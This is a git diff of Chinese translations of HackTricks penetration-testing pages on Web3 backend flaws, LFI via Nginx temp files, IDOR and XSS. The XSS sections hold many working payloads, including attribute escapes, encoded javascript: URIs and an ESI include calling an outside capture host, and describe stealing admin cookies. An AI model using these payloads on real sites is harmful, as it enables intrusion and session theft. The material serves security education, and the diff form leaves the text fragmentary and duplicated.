一些来自 [**这篇文章**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) 的例子:
|
||||
|
||||
### 浪费资金:强迫后端执行交易
|
||||
|
||||
在场景 **`Wasted Crypto in Gas via Unrestricted API`** 中,攻击者可以强迫后端调用智能合约的函数,这将消耗 gas。攻击者只需发送一个 ETH 账户号码且没有限制,将强迫后端调用智能合约进行注册,这将消耗 gas。
|
||||
在场景 **`通过不受限制的 API 浪费加密货币`** 中,攻击者可以强迫后端调用智能合约的函数,这将消耗 gas。攻击者只需发送一个 ETH 账户号码且没有限制,将强迫后端调用智能合约进行注册,这将消耗 gas。
|
||||
|
||||
### DoS:糟糕的交易处理时间
|
||||
|
||||
在场景 **`Poor Transaction Time Handling Leads to DoS`** 中,解释了由于后端将 HTTP 请求保持打开状态直到交易执行,用户可以轻松发送多个 HTTP 请求到后端,这将消耗后端的所有资源并导致 DoS。
|
||||
在场景 **`糟糕的交易时间处理导致 DoS`** 中,解释了因为后端将 HTTP 请求保持打开状态直到交易执行,用户可以轻松发送多个 HTTP 请求到后端,这将消耗后端的所有资源并导致 DoS。
|
||||
|
||||
### 后端<-->区块链不同步 - 竞争条件
|
||||
|
||||
在场景 **`Poor Transaction Time Handling Leads to Race Condition`** 中,解释了在一个游戏中,用户可以向后端发送提款请求,后端将向用户发送他的硬币,但在交易仍在处理时,用户能够使用这些硬币购买游戏中的物品,免费获得它们。
|
||||
在场景 **`糟糕的交易时间处理导致竞争条件`** 中,解释了在一个游戏中,用户可以向后端发送提款请求,后端将把他的硬币发送给用户,但在交易仍在处理时,用户能够使用这些硬币购买游戏中的物品,免费获得它们。
|
||||
|
||||
另一个例子可能是能够使用相同的硬币购买不同的物品,因为后端立即将物品交给用户,而不等待交易确认,因此不等待用户在区块链上的余额减少。
|
||||
|
||||
### 智能合约地址验证
|
||||
|
||||
在场景 **`Bridge Backend Lacks Smart Contract Address Validation`** 中,解释了后端如何检查智能合约的地址,因此攻击者可以部署一个假智能合约,将资金放在上面,发送交易到后端,后端会认为用户将资金发送到真实的智能合约,并将代币给予用户。
|
||||
在场景 **`桥接后端缺乏智能合约地址验证`** 中,解释了后端如何检查智能合约的地址,因此攻击者可以部署一个假智能合约,向其存入资金,向后端发送交易,后端会认为用户向真实智能合约发送了资金,并将代币给予用户。
|
||||
|
||||
### 资产类别处理不当
|
||||
|
||||
在场景 **`Mishandling of Asset Classes`** 中,解释了后端将一个地址中的诈骗 NFT 与 1 MATIC 混淆,因此允许攻击者向该地址发送数百个诈骗 NFT,并为每个 NFT 从平台获得 1 MATIC。
|
||||
在场景 **`资产类别处理不当`** 中,解释了后端将一个地址中的诈骗 NFT 与 1 MATIC 混淆,因此允许攻击者向该地址发送数百个诈骗 NFT,并为每个 NFT 从平台获得 1 MATIC。
|
||||
|
||||
## 参考文献
|
||||
- [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# LFI2RCE 通过 Nginx 临时文件
|
||||
# LFI2RCE via Nginx temp files
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -42,9 +42,7 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
|
||||
## 参考
|
||||
|
||||
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
```
|
||||
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
```
|
||||
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -14,7 +14,7 @@ IDOR (不安全的直接对象引用) / 破损的对象级别授权 (BOLA) 出
|
||||
* 头部 / Cookies: `X-Client-ID: 4711`
|
||||
2. 优先选择**读取或更新**数据的端点 (`GET`, `PUT`, `PATCH`, `DELETE`)。
|
||||
3. 注意标识符是否**连续或可预测** – 如果你的 ID 是 `64185742`,那么 `64185741` 可能存在。
|
||||
4. 探索隐藏或替代流程(例如 *"Paradox team members"* 登录页面中的链接),可能会暴露额外的 API。
|
||||
4. 探索隐藏或替代流程(例如 *"Paradox team members"* 链接在登录页面中)可能会暴露额外的 API。
|
||||
5. 使用**经过身份验证的低权限会话**,仅更改 ID **保持相同的令牌/ Cookie**。缺少授权错误通常是 IDOR 的标志。
|
||||
|
||||
### 快速手动篡改 (Burp Repeater)
|
||||
@ -64,7 +64,7 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
---
|
||||
## 4. 缓解措施与最佳实践
|
||||
1. 在每个请求上**强制对象级授权**(`user_id == session.user`)。
|
||||
2. 优先使用**间接、不可猜测的标识符**(UUIDv4,ULID),而不是自增 ID。
|
||||
2. 优先使用**间接、不可猜测的标识符**(UUIDv4, ULID),而不是自增 ID。
|
||||
3. 在**服务器端**执行授权,绝不要依赖隐藏的表单字段或 UI 控件。
|
||||
4. 在中央中间件中实施**RBAC / ABAC**检查。
|
||||
5. 添加**速率限制和日志记录**以检测 ID 枚举。
|
||||
@ -74,12 +74,10 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
## 5. 工具
|
||||
* **BurpSuite 扩展**:Authorize, Auto Repeater, Turbo Intruder。
|
||||
* **OWASP ZAP**:Auth Matrix, Forced Browse。
|
||||
* **Github 项目**:`bwapp-idor-scanner`,`Blindy`(批量 IDOR 搜索)。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
* **Github 项目**:`bwapp-idor-scanner`, `Blindy`(批量 IDOR 搜索)。
|
||||
|
||||
## 参考文献
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,31 +1,31 @@
|
||||
# XSS (跨站脚本攻击)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 方法论
|
||||
|
||||
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被 JS 代码使用**。
|
||||
2. **找到被反射/使用的上下文**。
|
||||
2. **找到上下文**,查看它是如何被反射/使用的。
|
||||
3. 如果 **被反射**:
|
||||
1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
|
||||
1. 在 **原始 HTML** 中:
|
||||
1. 你能创建新的 HTML 标签吗?
|
||||
2. 你能使用支持 `javascript:` 协议的事件或属性吗?
|
||||
3. 你能绕过保护吗?
|
||||
3. 你能绕过保护措施吗?
|
||||
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗?
|
||||
2. 在 **HTML 标签内**:
|
||||
1. 你能退出到原始 HTML 上下文吗?
|
||||
2. 你能创建新的事件/属性来执行 JS 代码吗?
|
||||
3. 你被困的属性是否支持 JS 执行?
|
||||
4. 你能绕过保护吗?
|
||||
4. 你能绕过保护措施吗?
|
||||
3. 在 **JavaScript 代码中**:
|
||||
1. 你能逃逸 `<script>` 标签吗?
|
||||
2. 你能逃逸字符串并执行不同的 JS 代码吗?
|
||||
3. 你的输入是否在模板字面量 \`\` 中?
|
||||
4. 你能绕过保护吗?
|
||||
4. 你能绕过保护措施吗?
|
||||
4. Javascript **函数**被 **执行**:
|
||||
1. 你可以指明要执行的函数名称。例如:`?callback=alert(1)`
|
||||
1. 你可以指明要执行的函数名称。例如: `?callback=alert(1)`
|
||||
4. 如果 **被使用**:
|
||||
1. 你可以利用 **DOM XSS**,注意你的输入是如何被控制的,以及你的 **受控输入是否被任何接收器使用**。
|
||||
|
||||
@ -39,8 +39,8 @@ debugging-client-side-js.md
|
||||
|
||||
为了成功利用 XSS,首先你需要找到一个 **由你控制的值并在网页中被反射**。
|
||||
|
||||
- **中间反射**:如果你发现一个参数的值甚至路径在网页中被反射,你可以利用 **反射 XSS**。
|
||||
- **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并在每次访问页面时被反射,你可以利用 **存储 XSS**。
|
||||
- **中间反射**:如果你发现某个参数的值甚至路径在网页中被反射,你可以利用 **反射型 XSS**。
|
||||
- **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并在每次访问页面时被反射,你可以利用 **存储型 XSS**。
|
||||
- **通过 JS 访问**:如果你发现一个由你控制的值通过 JS 被访问,你可以利用 **DOM XSS**。
|
||||
|
||||
## 上下文
|
||||
@ -49,7 +49,7 @@ debugging-client-side-js.md
|
||||
|
||||
### 原始 HTML
|
||||
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**,你需要利用一些 **HTML 标签** 来执行 JS 代码:`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**,你需要利用某些 **HTML 标签** 来执行 JS 代码:`<img`、`<iframe`、`<svg`、`<script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一部分。\
|
||||
此外,请记住 [客户端模板注入](../client-side-template-injection-csti.md)。
|
||||
|
||||
### 在 HTML 标签属性内
|
||||
@ -57,9 +57,9 @@ debugging-client-side-js.md
|
||||
如果你的输入在标签的属性值中被反射,你可以尝试:
|
||||
|
||||
1. **逃逸属性和标签**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
|
||||
2. 如果你 **能逃逸属性但不能逃逸标签**(`>` 被编码或删除),根据标签你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
|
||||
2. 如果你 **可以逃逸属性但不能逃逸标签**(`>` 被编码或删除),根据标签你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你 **无法逃逸属性**(`"` 被编码或删除),那么根据 **你的值被反射在哪个属性** 以及 **你是否控制整个值或仅部分值**,你将能够利用它。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在 "**不可利用的标签**" 内被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你将需要某种社会工程来利用它):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
4. 如果你的输入在 "**不可利用的标签**" 内被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你需要某种社会工程来利用它):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
如果你控制一个类名,Angular 执行 XSS 的奇怪例子:
|
||||
```html
|
||||
@ -72,7 +72,7 @@ debugging-client-side-js.md
|
||||
在这种情况下,您的输入反映在 HTML 页面中的 **`<script> [...] </script>`** 标签之间,或者在 `.js` 文件中,或在使用 **`javascript:`** 协议的属性中:
|
||||
|
||||
- 如果反映在 **`<script> [...] </script>`** 标签之间,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并逃离此上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
||||
- 如果反映 **在 JS 字符串内**,并且最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行):
|
||||
- 如果反映 **在 JS 字符串内**,并且最后一个技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
@ -94,9 +94,9 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
一些网页有端点**接受作为参数要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。
|
||||
一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。
|
||||
|
||||
找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
|
||||
找出用户直接提供的内容是否尝试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -104,7 +104,7 @@ js-hoisting.md
|
||||
|
||||
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**:
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
一些有用的函数:
|
||||
```
|
||||
@ -245,14 +245,14 @@ onerror=alert`1`
|
||||
|
||||
### 不可能 - 悬挂标记
|
||||
|
||||
如果你认为 **创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**,你应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/index.html),因为你可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。
|
||||
如果你认为 **创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**,你应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/index.html),因为你可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。
|
||||
|
||||
## 在 HTML 标签内注入
|
||||
|
||||
### 在标签内/从属性值中转义
|
||||
|
||||
如果你在 **HTML 标签内**,你可以尝试的第一件事是 **从标签中转义**,并使用 [上一节](#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
|
||||
如果你 **无法从标签中转义**,你可以在标签内创建新的属性来尝试执行 JS 代码,例如使用一些有效载荷(_注意在这个例子中使用双引号来从属性中转义,如果你的输入直接反映在标签内,你就不需要它们_):
|
||||
如果你 **无法从标签中转义**,你可以在标签内创建新的属性以尝试执行 JS 代码,例如使用一些有效载荷(_注意在这个例子中使用双引号来从属性中转义,如果你的输入直接反映在标签内,你将不需要它们_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -305,7 +305,7 @@ HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此
|
||||
```
|
||||
### 特殊协议在属性中
|
||||
|
||||
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些需要用户交互,有些则不需要。
|
||||
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互,有些则不需要。
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -353,17 +353,17 @@ _**在这种情况下,上一节中的HTML编码和Unicode编码技巧在属性
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
此外,对于这些情况还有另一个**不错的技巧**:**即使你在 `javascript:...` 中的输入被 URL 编码,它在执行之前会被 URL 解码。** 所以,如果你需要使用**单引号**从**字符串**中**逃逸**,并且你看到**它被 URL 编码**,请记住**这没关系,**它将在**执行**时被**解释**为**单引号**。
|
||||
此外,还有另一个**好技巧**:**即使你在 `javascript:...` 中的输入被 URL 编码,它在执行之前会被 URL 解码。** 所以,如果你需要使用**单引号**从**字符串**中**逃逸**,并且你看到**它被 URL 编码**,请记住**这没关系,**它将在**执行**时被**解释**为**单引号**。
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将不会** **工作**,但你可以在 **payload** 中 **混合使用它们**。
|
||||
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将** **不起作用**,但你可以在 **payload** 中 **混合使用它们**。
|
||||
|
||||
**使用 Hex 和 Octal 编码与 `javascript:`**
|
||||
|
||||
你可以在 `iframe` 的 `src` 属性中(至少)使用 **Hex** 和 **Octal 编码** 来声明 **HTML 标签以执行 JS**:
|
||||
你可以在 `iframe` 的 `src` 属性中(至少)使用 **Hex** 和 **Octal encode** 来声明 **HTML 标签以执行 JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -375,7 +375,7 @@ _**在这种情况下,上一节中的HTML编码和Unicode编码技巧在属性
|
||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### 反向标签劫持
|
||||
### 反向标签窃取
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
@ -450,7 +450,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### CSS小工具
|
||||
|
||||
如果您在网页的**非常小的部分**发现了**XSS**,并且需要某种交互(可能是页脚中的一个小链接,带有onmouseover元素),您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
如果您在网络的**非常小的部分**发现了**XSS**,并且需要某种交互(可能是页脚中的一个小链接,带有onmouseover元素),您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。
|
||||
|
||||
例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -470,7 +470,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## 在JavaScript代码中注入
|
||||
|
||||
在这种情况下,您的**输入**将**反映在.js文件的JS代码**中,或在`<script>...</script>`标签之间,或在可以执行JS代码的HTML事件之间,或在接受`javascript:`协议的属性之间。
|
||||
在这些情况下,您的**输入**将**反映在.js文件的JS代码**中,或在`<script>...</script>`标签之间,或在可以执行JS代码的HTML事件之间,或在接受`javascript:`协议的属性之间。
|
||||
|
||||
### 转义\<script>标签
|
||||
|
||||
@ -478,7 +478,7 @@ onbeforetoggle="alert(2)" />
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本是在之后进行的。
|
||||
注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。JavaScript 的解析以理解和执行嵌入的脚本仅在之后进行。
|
||||
|
||||
### Inside JS code
|
||||
|
||||
@ -741,15 +741,15 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM 漏洞**
|
||||
|
||||
有 **JS 代码** 使用 **由攻击者不安全控制的数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
|
||||
**由于对** [**DOM 漏洞的解释扩展,已移至此页面**](dom-xss.md)**:**
|
||||
有 **JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\
|
||||
**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
在这里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\
|
||||
此外,不要忘记在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
|
||||
此外,别忘了在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
|
||||
|
||||
### 升级自我 XSS
|
||||
|
||||
@ -761,7 +761,7 @@ dom-xss.md
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用示例。
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到这个技术的一个很好的滥用案例。
|
||||
|
||||
### 将你的会话发送给管理员
|
||||
|
||||
@ -769,7 +769,7 @@ dom-xss.md
|
||||
|
||||
### 会话镜像
|
||||
|
||||
如果你发现一些自我 XSS,并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助你,管理员将看到他在他的会话中所看到的内容。
|
||||
如果你发现一些自我 XSS,并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助你,管理员将看到你在你的会话中看到的内容,但从他的会话中。
|
||||
|
||||
你可以让 **管理员触发你的自我 XSS** 并窃取他的 cookies/会话。
|
||||
|
||||
@ -777,7 +777,7 @@ dom-xss.md
|
||||
|
||||
### 规范化 Unicode
|
||||
|
||||
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个示例**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个例子**](../unicode-injection/index.html#xss-cross-site-scripting)。
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL 标志绕过
|
||||
```javascript
|
||||
@ -794,7 +794,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
然后,将插入 onfocus 属性,发生 XSS。
|
||||
然后,将插入 onfocus 属性,并发生 XSS。
|
||||
|
||||
### 特殊组合
|
||||
```html
|
||||
@ -826,24 +826,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||
document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS与302响应中的头注入
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
如果你发现可以**在302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
如果你发现可以在 **302 重定向响应中注入头部**,你可以尝试 **让浏览器执行任意 JavaScript**。这 **并不简单**,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
|
||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何测试Location头中的几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||
已知的过去协议:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。
|
||||
在 [**这份报告**](https://www.gremwell.com/firefox-xss-302) 和 [**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 中,你可以阅读如何测试 Location 头部中的几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的 XSS 有效载荷。\
|
||||
已知的过去协议: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空 Location 头部_, `resource://`。
|
||||
|
||||
### 仅限字母、数字和点
|
||||
|
||||
如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](#javascript-function)以了解如何利用这种行为。
|
||||
如果你能够指示 JavaScript 将要 **执行** 的 **回调** 限制在这些字符内。 [**阅读这篇文章的这一部分**](#javascript-function) 以了解如何滥用这种行为。
|
||||
|
||||
### 有效的`<script>`内容类型以进行XSS
|
||||
### 有效的 `<script>` 内容类型以进行 XSS
|
||||
|
||||
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个**内容类型**为`application/octet-stream`的脚本,Chrome将抛出以下错误:
|
||||
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))如果你尝试加载一个 **内容类型** 为 `application/octet-stream` 的脚本,Chrome 将抛出以下错误:
|
||||
|
||||
> 拒绝从‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')执行脚本,因为其MIME类型(‘application/octet-stream’)不可执行,并且启用了严格的MIME类型检查。
|
||||
> 拒绝从 ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 执行脚本,因为其 MIME 类型(‘application/octet-stream’)不可执行,并且启用了严格的 MIME 类型检查。
|
||||
|
||||
唯一支持Chrome运行**加载脚本**的**Content-Type**是[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)中const **`kSupportedJavascriptTypes`**中的类型。
|
||||
唯一支持 Chrome 运行 **加载脚本** 的 **Content-Type** 是来自 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) 的常量 **`kSupportedJavascriptTypes`** 中的类型。
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -871,7 +871,9 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
- **module** (默认,无需解释)
|
||||
答案是:
|
||||
|
||||
- **module**(默认,无需解释)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,您可以将一堆数据(HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -926,7 +928,7 @@ import { partition } from "lodash"
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? 不在列表中,但我想我在 CTF 中见过这个)
|
||||
- text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个)
|
||||
- application/rss+xml (关闭)
|
||||
- application/atom+xml (关闭)
|
||||
|
||||
@ -934,7 +936,7 @@ import { partition } from "lodash"
|
||||
|
||||
### xml Content Type
|
||||
|
||||
如果页面返回 text/xml 内容类型,可以指示一个命名空间并执行任意 JS:
|
||||
如果页面返回 text/xml 内容类型,可以指示命名空间并执行任意 JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -1535,17 +1537,17 @@ xss-in-markdown.md
|
||||
|
||||
### XSS 到 SSRF
|
||||
|
||||
在一个 **使用缓存的网站** 上获得了 XSS?尝试通过边缘侧包含注入将其 **升级为 SSRF**,使用以下有效载荷:
|
||||
在一个 **使用缓存的网站** 上获得了 XSS?尝试通过边缘侧包含注入将其 **升级为 SSRF**,使用这个有效载荷:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
利用它来绕过 cookie 限制、XSS 过滤器等更多!\
|
||||
有关此技术的更多信息,请查看:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
|
||||
使用它来绕过 cookie 限制、XSS 过滤器等更多内容!\
|
||||
有关此技术的更多信息,请参见:[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
|
||||
|
||||
### 动态创建 PDF 中的 XSS
|
||||
|
||||
如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人**,使其 **执行任意 JS 代码**。\
|
||||
因此,如果 **PDF 创建机器人发现**某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。
|
||||
如果网页使用用户控制的输入创建 PDF,您可以尝试 **欺骗创建 PDF 的机器人** 使其 **执行任意 JS 代码**。\
|
||||
因此,如果 **PDF 创建机器人发现** 某种 **HTML** **标签**,它将会 **解释** 这些标签,您可以 **利用** 这种行为导致 **服务器 XSS**。
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1559,7 +1561,7 @@ pdf-injection.md
|
||||
|
||||
### Amp4Email 中的 XSS
|
||||
|
||||
AMP 旨在加速移动设备上的网页性能,包含 HTML 标签并补充 JavaScript,以确保功能性,同时强调速度和安全性。它支持多种组件以实现各种功能,您可以通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
|
||||
AMP 旨在加速移动设备上的网页性能,结合了 HTML 标签和 JavaScript,以确保功能性,同时强调速度和安全性。它支持多种组件以实现各种功能,您可以通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中,使收件人能够直接在电子邮件中与内容互动。
|
||||
|
||||
@ -1625,7 +1627,7 @@ id="foo"/>
|
||||
```
|
||||
